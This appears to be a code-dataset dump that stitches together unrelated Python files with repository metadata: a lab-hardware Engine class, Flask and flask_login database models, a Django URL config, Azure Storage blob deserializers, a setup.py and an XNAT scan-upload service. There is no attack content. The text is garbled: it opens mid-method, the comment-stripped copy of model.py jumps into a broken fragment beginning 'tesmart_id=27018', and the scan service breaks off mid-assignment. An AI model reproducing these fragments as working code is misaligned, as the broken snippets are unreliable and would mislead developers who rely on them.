elif timing in ('software', 'sw'): channels = [c for c in channels if isinstance(c, SoftwareMixin)] else: raise ValueError('Unsupported timing') if direction is not None: if direction in ('input', 'in'): channels = [c for c in channels if isinstance(c, InputMixin)] elif direction in ('output', 'out'): channels = [c for c in channels if isinstance(c, OutputMixin)] else: raise ValueError('Unsupported direction') if mode is not None: if mode == 'analog': channels = [c for c in channels if isinstance(c, AnalogMixin)] elif mode == 'digital': channels = [c for c in channels if isinstance(c, DigitalMixin)] elif mode == 'counter': channels = [c for c in channels if isinstance(c, CounterMixin)] else: raise ValueError('Unsupported mode') return tuple(channels) def get_channel(self, channel_name): channels = self.get_channels(active=False) for channel in channels: if channel.name == channel_name: return channel m = '{} channel does not exist'.format(channel_name) raise AttributeError(m) def remove_channel(self, channel): channel.set_parent(None) def configure(self): log_configuration(self) for channel in self.get_channels(): log.debug('Configuring channel {}'.format(channel.name)) channel.configure() self.configured = True def register_ai_callback(self, callback, channel_name=None): raise NotImplementedError def register_et_callback(self, callback, channel_name=None): raise NotImplementedError def unregister_ai_callback(self, callback, channel_name=None): raise NotImplementedError def unregister_et_callback(self, callback, channel_name=None): raise NotImplementedError def register_done_callback(self, callback): raise NotImplementedError def write_hw_ao(self, data, offset, timeout=1): ''' Write hardware-timed analog output data to the buffer Parameters ---------- data : 2D array Data to write (format channel x time) offset : int Sample at which to start writing data. Sample is relative to beginning of data acquisition. This can overwrite data that has already been written to the buffer but not consumed by the hardware. timeout : float Time, in seconds, to keep trying to write the data before failing. Notes ----- When subclassing, raise an exception if the system attempts to write data beginning at an offset that has already been consumed by the hardware and cannot be modified. ''' raise NotImplementedError def get_ts(self): raise NotImplementedError def start(self): raise NotImplementedError def stop(self): raise NotImplementedError def reset(self): raise NotImplementedError def get_ts(self): raise NotImplementedError def get_buffer_size(self, channel_name): raise NotImplementedError def get_offset(self, channel_name): raise NotImplementedError def update_hw_ao_multiple(self, offsets, channel_names, method): raise NotImplementedError def update_hw_ao(self, offsets, channel_name, method): raise NotImplementedError def clone(self, channel_names=None): ''' Return a copy of this engine with specified channels included This is intended as a utility function to assist various routines that may need to do a quick operation before starting the experiment. For example, calibration may only need to run a subset of the channels. ''' new = copy_declarative(self) if channel_names is not None: for channel_name in channel_names: channel = self.get_channel(channel_name) copy_declarative(channel, parent=new) return new

35.707113

80

0.639325

import logging log = logging.getLogger(__name__) import threading import numpy as np from atom.api import (Unicode, Float, Bool, observe, Property, Int, Typed, Long, Value) from enaml.core.api import Declarative, d_ from psi.core.enaml.api import PSIContribution from ..util import copy_declarative from .channel import (Channel, AnalogMixin, DigitalMixin, HardwareMixin, SoftwareMixin, OutputMixin, InputMixin, CounterMixin) def log_configuration(engine): info = ['Engine configuration'] info.append('Engine {}'.format(engine.name)) for channel in engine.get_channels(direction='input', active=True): info.append('\t channel {}'.format(channel.name)) for i in channel.inputs: info.append('\t\t input {}'.format(i.name)) for channel in engine.get_channels(direction='output', active=True): info.append('\t channel {}'.format(channel.name)) for o in channel.outputs: info.append('\t\t output {}'.format(o.name)) log.info('\n'.join(info)) class Engine(PSIContribution): name = d_(Unicode()).tag(metadata=True) master_clock = d_(Bool(False)).tag(metadata=True) lock = Value() configured = Bool(False) hw_ai_monitor_period = d_(Float(0.1)).tag(metadata=True) hw_ao_monitor_period = d_(Float(1)).tag(metadata=True) def _default_lock(self): return threading.Lock() def get_channels(self, mode=None, direction=None, timing=None, active=True): channels = [c for c in self.children if isinstance(c, Channel)] if active: channels = [c for c in channels if c.active] if timing is not None: if timing in ('hardware', 'hw'): channels = [c for c in channels if isinstance(c, HardwareMixin)] elif timing in ('software', 'sw'): channels = [c for c in channels if isinstance(c, SoftwareMixin)] else: raise ValueError('Unsupported timing') if direction is not None: if direction in ('input', 'in'): channels = [c for c in channels if isinstance(c, InputMixin)] elif direction in ('output', 'out'): channels = [c for c in channels if isinstance(c, OutputMixin)] else: raise ValueError('Unsupported direction') if mode is not None: if mode == 'analog': channels = [c for c in channels if isinstance(c, AnalogMixin)] elif mode == 'digital': channels = [c for c in channels if isinstance(c, DigitalMixin)] elif mode == 'counter': channels = [c for c in channels if isinstance(c, CounterMixin)] else: raise ValueError('Unsupported mode') return tuple(channels) def get_channel(self, channel_name): channels = self.get_channels(active=False) for channel in channels: if channel.name == channel_name: return channel m = '{} channel does not exist'.format(channel_name) raise AttributeError(m) def remove_channel(self, channel): channel.set_parent(None) def configure(self): log_configuration(self) for channel in self.get_channels(): log.debug('Configuring channel {}'.format(channel.name)) channel.configure() self.configured = True def register_ai_callback(self, callback, channel_name=None): raise NotImplementedError def register_et_callback(self, callback, channel_name=None): raise NotImplementedError def unregister_ai_callback(self, callback, channel_name=None): raise NotImplementedError def unregister_et_callback(self, callback, channel_name=None): raise NotImplementedError def register_done_callback(self, callback): raise NotImplementedError def write_hw_ao(self, data, offset, timeout=1): raise NotImplementedError def get_ts(self): raise NotImplementedError def start(self): raise NotImplementedError def stop(self): raise NotImplementedError def reset(self): raise NotImplementedError def get_ts(self): raise NotImplementedError def get_buffer_size(self, channel_name): raise NotImplementedError def get_offset(self, channel_name): raise NotImplementedError def update_hw_ao_multiple(self, offsets, channel_names, method): raise NotImplementedError def update_hw_ao(self, offsets, channel_name, method): raise NotImplementedError def clone(self, channel_names=None): new = copy_declarative(self) if channel_names is not None: for channel_name in channel_names: channel = self.get_channel(channel_name) copy_declarative(channel, parent=new) return new

true

f7101b9b13578e8edd6324341c1a4a1243423eca

1,967

py

Python

model.py

adinahhh/educated-citizen

057406bbe4b348a88aeeed91bafbf337666d33ce

[ "Unlicense" ]

1

2020-03-06T19:41:59.000Z

model.py

adinahhh/ballot-project

057406bbe4b348a88aeeed91bafbf337666d33ce

[ "Unlicense" ]

5

2020-03-24T18:21:24.000Z

2021-08-23T20:39:22.000Z

model.py

adinahhh/ballot-project

057406bbe4b348a88aeeed91bafbf337666d33ce

[ "Unlicense" ]

1

2020-03-27T17:21:25.000Z

"""Models for final hackbright project """ from flask import Flask from flask_sqlalchemy import SQLAlchemy db = SQLAlchemy() app = Flask(__name__) class Legislator(db.Model): """ Info on current legislators. """ __tablename__ = "current_legislators" legislator_id = db.Column(db.Integer, autoincrement=True, primary_key=True) last_name = db.Column(db.String(25), nullable=False) full_name = db.Column(db.String(200), nullable=False) state = db.Column(db.String(20), nullable=False) party = db.Column(db.String(50), nullable=False) opensecrets_id = db.Column(db.String(10), nullable=True) govtrack_id = db.Column(db.Integer, nullable=False) votesmart_id = db.Column(db.Integer, nullable=True) phone = db.Column(db.String(25), nullable=True) website = db.Column(db.String(150), nullable=True) def __repr__(self): """ provide info on legislator.""" return f"Legislator: {self.full_name} party: {self.party}" ##### getting direction from Testing lab below ##### def testing_data(): """ create sample data for running tests """ legis = Legislator(last_name="Smith", full_name="Jane Smith", state="LA", party="Democrat", opensecrets_id="N00003535", govtrack_id=400050, votesmart_id=27018, phone="504-555-5555", website="wwww.google.com") db.session.add(legis) db.session.commit() def connect_to_db(app, db_uri="postgresql:///legislature"): """ Connect database to Flask app.""" # Configure to use my PstgreSQL database app.config['SQLALCHEMY_DATABASE_URI'] = db_uri app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False db.app = app db.init_app(app) if __name__ == "__main__": # if I run this module interactively, it will leave # me in a state of being able to work with the database directly. from server import app connect_to_db(app) print("Connected to DB.")

33.913793

79

0.675648

from flask import Flask from flask_sqlalchemy import SQLAlchemy db = SQLAlchemy() app = Flask(__name__) class Legislator(db.Model): __tablename__ = "current_legislators" legislator_id = db.Column(db.Integer, autoincrement=True, primary_key=True) last_name = db.Column(db.String(25), nullable=False) full_name = db.Column(db.String(200), nullable=False) state = db.Column(db.String(20), nullable=False) party = db.Column(db.String(50), nullable=False) opensecrets_id = db.Column(db.String(10), nullable=True) govtrack_id = db.Column(db.Integer, nullable=False) votesmart_id = db.Column(db.Integer, nullable=True) phone = db.Column(db.String(25), nullable=True) website = db.Column(db.String(150), nullable=True) def __repr__(self): return f"Legislator: {self.full_name} party: {self.party}" tesmart_id=27018, phone="504-555-5555", website="wwww.google.com") db.session.add(legis) db.session.commit() def connect_to_db(app, db_uri="postgresql:///legislature"): app.config['SQLALCHEMY_DATABASE_URI'] = db_uri app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False db.app = app db.init_app(app) if __name__ == "__main__": from server import app connect_to_db(app) print("Connected to DB.")

true

f7101db4a3c92bf5fa914e5b238683710b1a59e8

827

py

Python

server/clothes_shop/urls.py

Meerkat007/Clothes-Shop-Website-

0f5f113c49b550a593ea50c8d409e9228381a81b

[ "MIT" ]

null

server/clothes_shop/urls.py

Meerkat007/Clothes-Shop-Website-

0f5f113c49b550a593ea50c8d409e9228381a81b

[ "MIT" ]

null

server/clothes_shop/urls.py

Meerkat007/Clothes-Shop-Website-

0f5f113c49b550a593ea50c8d409e9228381a81b

[ "MIT" ]

null

"""clothes_shop URL Configuration The `urlpatterns` list routes URLs to views. For more information please see: https://docs.djangoproject.com/en/1.9/topics/http/urls/ Examples: Function views 1. Add an import: from my_app import views 2. Add a URL to urlpatterns: url(r'^$', views.home, name='home') Class-based views 1. Add an import: from other_app.views import Home 2. Add a URL to urlpatterns: url(r'^$', Home.as_view(), name='home') Including another URLconf 1. Import the include() function: from django.conf.urls import url, include 2. Add a URL to urlpatterns: url(r'^blog/', include('blog.urls')) """ from django.conf.urls import url, include from django.contrib import admin urlpatterns = [ url(r'^products/', include('products.urls')), url(r'^admin/', admin.site.urls), ]

35.956522

79

0.70133

from django.conf.urls import url, include from django.contrib import admin urlpatterns = [ url(r'^products/', include('products.urls')), url(r'^admin/', admin.site.urls), ]

true

f7101e05d6aa3f6fae0e0f1f853fa0dab34e1ab0

8,060

py

Python

sdk/storage/azure-storage-blob/azure/storage/blob/_deserialize.py

vincenttran-msft/azure-sdk-for-python

348b56f9f03eeb3f7b502eed51daf494ffff874d

[ "MIT" ]

2,728

2015-01-09T10:19:32.000Z

2022-03-31T14:50:33.000Z

sdk/storage/azure-storage-blob/azure/storage/blob/_deserialize.py

v-xuto/azure-sdk-for-python

9c6296d22094c5ede410bc83749e8df8694ccacc

[ "MIT" ]

17,773

2015-01-05T15:57:17.000Z

2022-03-31T23:50:25.000Z

sdk/storage/azure-storage-blob/azure/storage/blob/_deserialize.py

v-xuto/azure-sdk-for-python

9c6296d22094c5ede410bc83749e8df8694ccacc

[ "MIT" ]

1,916

2015-01-19T05:05:41.000Z

2022-03-31T19:36:44.000Z

# ------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for # license information. # -------------------------------------------------------------------------- # pylint: disable=no-self-use from typing import ( # pylint: disable=unused-import Tuple, Dict, List, TYPE_CHECKING ) try: from urllib.parse import unquote except ImportError: from urllib import unquote from ._models import BlobType, CopyProperties, ContentSettings, LeaseProperties, BlobProperties, ImmutabilityPolicy from ._shared.models import get_enum_value from ._shared.response_handlers import deserialize_metadata from ._models import ContainerProperties, BlobAnalyticsLogging, Metrics, CorsRule, RetentionPolicy, \ StaticWebsite, ObjectReplicationPolicy, ObjectReplicationRule if TYPE_CHECKING: from ._generated.models import PageList def deserialize_pipeline_response_into_cls(cls_method, response, obj, headers): try: deserialized_response = response.http_response except AttributeError: deserialized_response = response return cls_method(deserialized_response, obj, headers) def deserialize_blob_properties(response, obj, headers): blob_properties = BlobProperties( metadata=deserialize_metadata(response, obj, headers), object_replication_source_properties=deserialize_ors_policies(response.http_response.headers), **headers ) if 'Content-Range' in headers: if 'x-ms-blob-content-md5' in headers: blob_properties.content_settings.content_md5 = headers['x-ms-blob-content-md5'] else: blob_properties.content_settings.content_md5 = None return blob_properties def deserialize_ors_policies(policy_dictionary): if policy_dictionary is None: return None # For source blobs (blobs that have policy ids and rule ids applied to them), # the header will be formatted as "x-ms-or-<policy_id>_<rule_id>: {Complete, Failed}". # The value of this header is the status of the replication. or_policy_status_headers = {key: val for key, val in policy_dictionary.items() if 'or-' in key and key != 'x-ms-or-policy-id'} parsed_result = {} for key, val in or_policy_status_headers.items(): # list blobs gives or-policy_rule and get blob properties gives x-ms-or-policy_rule policy_and_rule_ids = key.split('or-')[1].split('_') policy_id = policy_and_rule_ids[0] rule_id = policy_and_rule_ids[1] # If we are seeing this policy for the first time, create a new list to store rule_id -> result parsed_result[policy_id] = parsed_result.get(policy_id) or list() parsed_result[policy_id].append(ObjectReplicationRule(rule_id=rule_id, status=val)) result_list = [ObjectReplicationPolicy(policy_id=k, rules=v) for k, v in parsed_result.items()] return result_list def deserialize_blob_stream(response, obj, headers): blob_properties = deserialize_blob_properties(response, obj, headers) obj.properties = blob_properties return response.http_response.location_mode, obj def deserialize_container_properties(response, obj, headers): metadata = deserialize_metadata(response, obj, headers) container_properties = ContainerProperties( metadata=metadata, **headers ) return container_properties def get_page_ranges_result(ranges): # type: (PageList) -> Tuple[List[Dict[str, int]], List[Dict[str, int]]] page_range = [] # type: ignore clear_range = [] # type: List if ranges.page_range: page_range = [{'start': b.start, 'end': b.end} for b in ranges.page_range] # type: ignore if ranges.clear_range: clear_range = [{'start': b.start, 'end': b.end} for b in ranges.clear_range] return page_range, clear_range # type: ignore def service_stats_deserialize(generated): """Deserialize a ServiceStats objects into a dict. """ return { 'geo_replication': { 'status': generated.geo_replication.status, 'last_sync_time': generated.geo_replication.last_sync_time, } } def service_properties_deserialize(generated): """Deserialize a ServiceProperties objects into a dict. """ return { 'analytics_logging': BlobAnalyticsLogging._from_generated(generated.logging), # pylint: disable=protected-access 'hour_metrics': Metrics._from_generated(generated.hour_metrics), # pylint: disable=protected-access 'minute_metrics': Metrics._from_generated(generated.minute_metrics), # pylint: disable=protected-access 'cors': [CorsRule._from_generated(cors) for cors in generated.cors], # pylint: disable=protected-access 'target_version': generated.default_service_version, # pylint: disable=protected-access 'delete_retention_policy': RetentionPolicy._from_generated(generated.delete_retention_policy), # pylint: disable=protected-access 'static_website': StaticWebsite._from_generated(generated.static_website), # pylint: disable=protected-access } def get_blob_properties_from_generated_code(generated): blob = BlobProperties() if generated.name.encoded: blob.name = unquote(generated.name.content) else: blob.name = generated.name.content blob_type = get_enum_value(generated.properties.blob_type) blob.blob_type = BlobType(blob_type) if blob_type else None blob.etag = generated.properties.etag blob.deleted = generated.deleted blob.snapshot = generated.snapshot blob.is_append_blob_sealed = generated.properties.is_sealed blob.metadata = generated.metadata.additional_properties if generated.metadata else {} blob.encrypted_metadata = generated.metadata.encrypted if generated.metadata else None blob.lease = LeaseProperties._from_generated(generated) # pylint: disable=protected-access blob.copy = CopyProperties._from_generated(generated) # pylint: disable=protected-access blob.last_modified = generated.properties.last_modified blob.creation_time = generated.properties.creation_time blob.content_settings = ContentSettings._from_generated(generated) # pylint: disable=protected-access blob.size = generated.properties.content_length blob.page_blob_sequence_number = generated.properties.blob_sequence_number blob.server_encrypted = generated.properties.server_encrypted blob.encryption_scope = generated.properties.encryption_scope blob.deleted_time = generated.properties.deleted_time blob.remaining_retention_days = generated.properties.remaining_retention_days blob.blob_tier = generated.properties.access_tier blob.rehydrate_priority = generated.properties.rehydrate_priority blob.blob_tier_inferred = generated.properties.access_tier_inferred blob.archive_status = generated.properties.archive_status blob.blob_tier_change_time = generated.properties.access_tier_change_time blob.version_id = generated.version_id blob.is_current_version = generated.is_current_version blob.tag_count = generated.properties.tag_count blob.tags = parse_tags(generated.blob_tags) # pylint: disable=protected-access blob.object_replication_source_properties = deserialize_ors_policies(generated.object_replication_metadata) blob.last_accessed_on = generated.properties.last_accessed_on blob.immutability_policy = ImmutabilityPolicy._from_generated(generated) # pylint: disable=protected-access blob.has_legal_hold = generated.properties.legal_hold blob.has_versions_only = generated.has_versions_only return blob def parse_tags(generated_tags): # type: (Optional[List[BlobTag]]) -> Union[Dict[str, str], None] """Deserialize a list of BlobTag objects into a dict. """ if generated_tags: tag_dict = {t.key: t.value for t in generated_tags.blob_tag_set} return tag_dict return None

46.057143

138

0.735732

from typing import ( Tuple, Dict, List, TYPE_CHECKING ) try: from urllib.parse import unquote except ImportError: from urllib import unquote from ._models import BlobType, CopyProperties, ContentSettings, LeaseProperties, BlobProperties, ImmutabilityPolicy from ._shared.models import get_enum_value from ._shared.response_handlers import deserialize_metadata from ._models import ContainerProperties, BlobAnalyticsLogging, Metrics, CorsRule, RetentionPolicy, \ StaticWebsite, ObjectReplicationPolicy, ObjectReplicationRule if TYPE_CHECKING: from ._generated.models import PageList def deserialize_pipeline_response_into_cls(cls_method, response, obj, headers): try: deserialized_response = response.http_response except AttributeError: deserialized_response = response return cls_method(deserialized_response, obj, headers) def deserialize_blob_properties(response, obj, headers): blob_properties = BlobProperties( metadata=deserialize_metadata(response, obj, headers), object_replication_source_properties=deserialize_ors_policies(response.http_response.headers), **headers ) if 'Content-Range' in headers: if 'x-ms-blob-content-md5' in headers: blob_properties.content_settings.content_md5 = headers['x-ms-blob-content-md5'] else: blob_properties.content_settings.content_md5 = None return blob_properties def deserialize_ors_policies(policy_dictionary): if policy_dictionary is None: return None or_policy_status_headers = {key: val for key, val in policy_dictionary.items() if 'or-' in key and key != 'x-ms-or-policy-id'} parsed_result = {} for key, val in or_policy_status_headers.items(): policy_and_rule_ids = key.split('or-')[1].split('_') policy_id = policy_and_rule_ids[0] rule_id = policy_and_rule_ids[1] parsed_result[policy_id] = parsed_result.get(policy_id) or list() parsed_result[policy_id].append(ObjectReplicationRule(rule_id=rule_id, status=val)) result_list = [ObjectReplicationPolicy(policy_id=k, rules=v) for k, v in parsed_result.items()] return result_list def deserialize_blob_stream(response, obj, headers): blob_properties = deserialize_blob_properties(response, obj, headers) obj.properties = blob_properties return response.http_response.location_mode, obj def deserialize_container_properties(response, obj, headers): metadata = deserialize_metadata(response, obj, headers) container_properties = ContainerProperties( metadata=metadata, **headers ) return container_properties def get_page_ranges_result(ranges): page_range = [] clear_range = [] if ranges.page_range: page_range = [{'start': b.start, 'end': b.end} for b in ranges.page_range] if ranges.clear_range: clear_range = [{'start': b.start, 'end': b.end} for b in ranges.clear_range] return page_range, clear_range def service_stats_deserialize(generated): return { 'geo_replication': { 'status': generated.geo_replication.status, 'last_sync_time': generated.geo_replication.last_sync_time, } } def service_properties_deserialize(generated): return { 'analytics_logging': BlobAnalyticsLogging._from_generated(generated.logging), 'hour_metrics': Metrics._from_generated(generated.hour_metrics), 'minute_metrics': Metrics._from_generated(generated.minute_metrics), 'cors': [CorsRule._from_generated(cors) for cors in generated.cors], 'target_version': generated.default_service_version, 'delete_retention_policy': RetentionPolicy._from_generated(generated.delete_retention_policy), 'static_website': StaticWebsite._from_generated(generated.static_website), } def get_blob_properties_from_generated_code(generated): blob = BlobProperties() if generated.name.encoded: blob.name = unquote(generated.name.content) else: blob.name = generated.name.content blob_type = get_enum_value(generated.properties.blob_type) blob.blob_type = BlobType(blob_type) if blob_type else None blob.etag = generated.properties.etag blob.deleted = generated.deleted blob.snapshot = generated.snapshot blob.is_append_blob_sealed = generated.properties.is_sealed blob.metadata = generated.metadata.additional_properties if generated.metadata else {} blob.encrypted_metadata = generated.metadata.encrypted if generated.metadata else None blob.lease = LeaseProperties._from_generated(generated) blob.copy = CopyProperties._from_generated(generated) blob.last_modified = generated.properties.last_modified blob.creation_time = generated.properties.creation_time blob.content_settings = ContentSettings._from_generated(generated) blob.size = generated.properties.content_length blob.page_blob_sequence_number = generated.properties.blob_sequence_number blob.server_encrypted = generated.properties.server_encrypted blob.encryption_scope = generated.properties.encryption_scope blob.deleted_time = generated.properties.deleted_time blob.remaining_retention_days = generated.properties.remaining_retention_days blob.blob_tier = generated.properties.access_tier blob.rehydrate_priority = generated.properties.rehydrate_priority blob.blob_tier_inferred = generated.properties.access_tier_inferred blob.archive_status = generated.properties.archive_status blob.blob_tier_change_time = generated.properties.access_tier_change_time blob.version_id = generated.version_id blob.is_current_version = generated.is_current_version blob.tag_count = generated.properties.tag_count blob.tags = parse_tags(generated.blob_tags) blob.object_replication_source_properties = deserialize_ors_policies(generated.object_replication_metadata) blob.last_accessed_on = generated.properties.last_accessed_on blob.immutability_policy = ImmutabilityPolicy._from_generated(generated) blob.has_legal_hold = generated.properties.legal_hold blob.has_versions_only = generated.has_versions_only return blob def parse_tags(generated_tags): if generated_tags: tag_dict = {t.key: t.value for t in generated_tags.blob_tag_set} return tag_dict return None

true

f71020a081e97b8e419611b4ff2a1a7fefc0a0c9

2,253

py

Python

setup.py

SCECcode/ucvm_plotting

0fad66043c81bdc5e616f87020f38177bdae9503

[ "BSD-3-Clause" ]

null

setup.py

SCECcode/ucvm_plotting

0fad66043c81bdc5e616f87020f38177bdae9503

[ "BSD-3-Clause" ]

4

2021-11-30T08:28:42.000Z

2022-03-07T21:27:14.000Z

setup.py

SCECcode/ucvm_plotting

0fad66043c81bdc5e616f87020f38177bdae9503

[ "BSD-3-Clause" ]

1

2021-06-05T03:28:51.000Z

""" @file setup.py @brief Build and install the pycvm @author The SCEC/UCVM Developers - <software@scec.usc.edu> """ from setuptools import setup NAME = "ucvm_plotting" FULLNAME = "ucvm_plotting with pycvm" AUTHOR = "The SCEC/UCVM Developers" AUTHOR_EMAIL = "software@scec.usc.edu" MAINTAINER = AUTHOR MAINTAINER_EMAIL = AUTHOR_EMAIL LICENSE = "Apache 2.0 license" URL = "https://github.com/SCEC/ucvm_plotting" DESCRIPTION = "Python code extensions for UCVM and plotting library for the SCEC UCVM" with open("README.md") as f: LONG_DESCRIPTION = "".join(f.readlines()) VERSION = "0.0.2" CLASSIFIERS = [ "Development Status :: 1 - Alpha", "Intended Audience :: Science/Research", "Intended Audience :: Developers", "Intended Audience :: Education", "Topic :: Scientific/Engineering", "Topic :: Software Development :: Libraries", "Programming Language :: Python :: 2.7", "License :: OSI Approved :: {}".format(LICENSE), ] PLATFORMS = "Any" INSTALL_REQUIRES = ["numpy", "matplotlib", "basemap", "packaging"] KEYWORDS = ["UCVM"] if __name__ == "__main__": setup( name=NAME, fullname=FULLNAME, description=DESCRIPTION, long_description=LONG_DESCRIPTION, version=VERSION, author=AUTHOR, author_email=AUTHOR_EMAIL, maintainer=MAINTAINER, maintainer_email=MAINTAINER_EMAIL, license=LICENSE, url=URL, platforms=PLATFORMS, classifiers=CLASSIFIERS, keywords=KEYWORDS, install_requires=INSTALL_REQUIRES, packages=["pycvm"], scripts=["ucvm_plotting/make_map_grid.py","ucvm_plotting/plot_compare_plot.py", "ucvm_plotting/plot_cross_section.py","ucvm_plotting/plot_density_plot.py", "ucvm_plotting/plot_depth_profile.py","ucvm_plotting/plot_elevation_cross_section.py", "ucvm_plotting/plot_elevation_horizontal_slice.py","ucvm_plotting/plot_elevation_map.py", "ucvm_plotting/plot_elevation_profile.py","ucvm_plotting/plot_horizontal_slice.py", "ucvm_plotting/plot_scatter_plot.py","ucvm_plotting/plot_vs30_etree_map.py", "ucvm_plotting/plot_vs30_map.py","ucvm_plotting/plot_z10_map.py", "ucvm_plotting/plot_z25_map.py", "utilities/makegrid.sh","utilities/view_png.py"] )

33.132353

89

0.717266

from setuptools import setup NAME = "ucvm_plotting" FULLNAME = "ucvm_plotting with pycvm" AUTHOR = "The SCEC/UCVM Developers" AUTHOR_EMAIL = "software@scec.usc.edu" MAINTAINER = AUTHOR MAINTAINER_EMAIL = AUTHOR_EMAIL LICENSE = "Apache 2.0 license" URL = "https://github.com/SCEC/ucvm_plotting" DESCRIPTION = "Python code extensions for UCVM and plotting library for the SCEC UCVM" with open("README.md") as f: LONG_DESCRIPTION = "".join(f.readlines()) VERSION = "0.0.2" CLASSIFIERS = [ "Development Status :: 1 - Alpha", "Intended Audience :: Science/Research", "Intended Audience :: Developers", "Intended Audience :: Education", "Topic :: Scientific/Engineering", "Topic :: Software Development :: Libraries", "Programming Language :: Python :: 2.7", "License :: OSI Approved :: {}".format(LICENSE), ] PLATFORMS = "Any" INSTALL_REQUIRES = ["numpy", "matplotlib", "basemap", "packaging"] KEYWORDS = ["UCVM"] if __name__ == "__main__": setup( name=NAME, fullname=FULLNAME, description=DESCRIPTION, long_description=LONG_DESCRIPTION, version=VERSION, author=AUTHOR, author_email=AUTHOR_EMAIL, maintainer=MAINTAINER, maintainer_email=MAINTAINER_EMAIL, license=LICENSE, url=URL, platforms=PLATFORMS, classifiers=CLASSIFIERS, keywords=KEYWORDS, install_requires=INSTALL_REQUIRES, packages=["pycvm"], scripts=["ucvm_plotting/make_map_grid.py","ucvm_plotting/plot_compare_plot.py", "ucvm_plotting/plot_cross_section.py","ucvm_plotting/plot_density_plot.py", "ucvm_plotting/plot_depth_profile.py","ucvm_plotting/plot_elevation_cross_section.py", "ucvm_plotting/plot_elevation_horizontal_slice.py","ucvm_plotting/plot_elevation_map.py", "ucvm_plotting/plot_elevation_profile.py","ucvm_plotting/plot_horizontal_slice.py", "ucvm_plotting/plot_scatter_plot.py","ucvm_plotting/plot_vs30_etree_map.py", "ucvm_plotting/plot_vs30_map.py","ucvm_plotting/plot_z10_map.py", "ucvm_plotting/plot_z25_map.py", "utilities/makegrid.sh","utilities/view_png.py"] )

true

f71022c75b49c0c56102043edb4100618ba8208a

348

py

Python

models.py

ashelto6/unJumble

cf557668133186e7ea419f6f08ccadef4cad89a1

[ "MIT" ]

null

models.py

ashelto6/unJumble

cf557668133186e7ea419f6f08ccadef4cad89a1

[ "MIT" ]

7

2021-02-26T07:31:12.000Z

2021-04-25T03:21:35.000Z

models.py

ashelto6/unJumble

cf557668133186e7ea419f6f08ccadef4cad89a1

[ "MIT" ]

null

from flask_login import UserMixin from . import db #run the creat_all() command to create the database class User(UserMixin, db.Model): id = db.Column(db.Integer, primary_key=True) last_name = db.Column(db.String(100)) first_name = db.Column(db.String(100)) email = db.Column(db.String(100), unique=True) password = db.Column(db.String(100))

31.636364

51

0.747126

from flask_login import UserMixin from . import db class User(UserMixin, db.Model): id = db.Column(db.Integer, primary_key=True) last_name = db.Column(db.String(100)) first_name = db.Column(db.String(100)) email = db.Column(db.String(100), unique=True) password = db.Column(db.String(100))

true

f71022f0eb2883e2876c9b9966ee83e21f069013

6,566

py

Python

cookiecutter_mbam/scan/service.py

tiburona/cookiecutter_mbam

13788774a4c1426c133b3f689f98d8f0c54de9c6

[ "BSD-3-Clause" ]

null

cookiecutter_mbam/scan/service.py

tiburona/cookiecutter_mbam

13788774a4c1426c133b3f689f98d8f0c54de9c6

[ "BSD-3-Clause" ]

null

cookiecutter_mbam/scan/service.py

tiburona/cookiecutter_mbam

13788774a4c1426c133b3f689f98d8f0c54de9c6

[ "BSD-3-Clause" ]

null

# -*- coding: utf-8 -*- """Scan service. This module implements uploading a scan file to XNAT and adding a scan to the database. Todo: Maybe the public method should be called add, and that should kick off an upload procedure, rather than the other way around. Todo: do we want to infer file type from extension? Or use some other method? Todo: Right now if we use the import service XNAT is inferring its own scan id. What do we want to do about that? Todo: if someone uploads a zip file we don't actually know that there are dicoms inside (could be NIFTI). Consider this fact. Todo: Upload security for zip files? """ import os from cookiecutter_mbam.xnat import XNATConnection from cookiecutter_mbam.experiment import Experiment from cookiecutter_mbam.user import User from .models import Scan from .utils import gzip_file from flask import current_app def debug(): assert current_app.debug == False, "Don't panic! You're here by request of debug()" class ScanService: def __init__(self, user_id, exp_id): self.user_id = user_id self.user = User.get_by_id(self.user_id) self.experiment = Experiment.get_by_id(exp_id) self.xc = XNATConnection() # todo: what is the actual URI of the experiment I've created? Why does it have the XNAT prefix? # maybe that's the accessor? Is the accessor in the URI? def upload(self, image_file): """The top level public method for adding a scan Calls methods to infer file type and further process the file, generate xnat identifiers and query strings, check what XNAT identifiers objects have, upload the scan to XNAT, add the scan to the database, and update user, experiment, and scan database objects with their XNAT-related attributes. :param file object image_file: the file object :return: None """ file, dcm = self._process_file(image_file) xnat_ids = self._generate_xnat_identifiers(dcm=dcm) existing_attributes = self._check_for_existing_xnat_ids() uris = self.xc.upload_scan(xnat_ids, existing_attributes, image_file, import_service=dcm) scan = self._add_scan() keywords = ['subject', 'experiment', 'scan'] self._update_database_objects(keywords=keywords, objects=[self.user, self.experiment, scan], ids=['{}_id'.format(xnat_ids[kw]['xnat_id']) for kw in keywords], uris=uris) def _add_scan(self): """Add a scan to the database Creates the scan object, adds it to the database, and increments the parent experiment's scan count :return: scan """ scan = Scan.create(experiment_id=self.experiment.id) self.experiment.num_scans += 1 return scan def _process_file(self, image_file): """Infer file type from extension and respond to file type as necessary Uses file extension to infer whether file should be left alone or gzipped, or whether zip file will be sent to import service. :param file object image_file: the file object :return: a two-tuple of the image file, and a boolean indicating the file type is dcm :rtype: tuple """ image_file_name = image_file.filename file_name, file_ext = os.path.splitext(image_file_name) dcm = False if file_ext == '.nii': image_file = (gzip_file(image_file, file_name)) if file_ext == '.zip': dcm = True return (image_file, dcm) def _generate_xnat_identifiers(self, dcm=False): """Generate object ids for use in XNAT Creates a dictionary with keys for type of XNAT object, including subject, experiment, scan, resource and file. The values in the dictionary are dictionaries with keys 'xnat_id' and, optionally, 'query_string'. 'xnat_id' points to the identifier of the object in XNAT, and 'query_string' to the query that will be used in the put request to create the object. :return: xnat_id dictionary :rtype: dict """ xnat_ids = {} xnat_ids['subject'] = {'xnat_id': str(self.user_id).zfill(6)} xnat_exp_id = '{}_MR{}'.format(xnat_ids['subject']['xnat_id'], self.user.num_experiments) exp_date = self.experiment.date.strftime('%m/%d/%Y') xnat_ids['experiment'] = {'xnat_id': xnat_exp_id, 'query_string':'?xnat:mrSessionData/date={}'.format(exp_date)} scan_number = self.experiment.num_scans + 1 xnat_scan_id = 'T1_{}'.format(scan_number) xnat_ids['scan'] = {'xnat_id':xnat_scan_id, 'query_string':'?xsiType=xnat:mrScanData'} if dcm: resource = 'DICOM' else: resource = 'NIFTI' xnat_ids['resource'] = {'xnat_id': resource} xnat_ids['file'] = 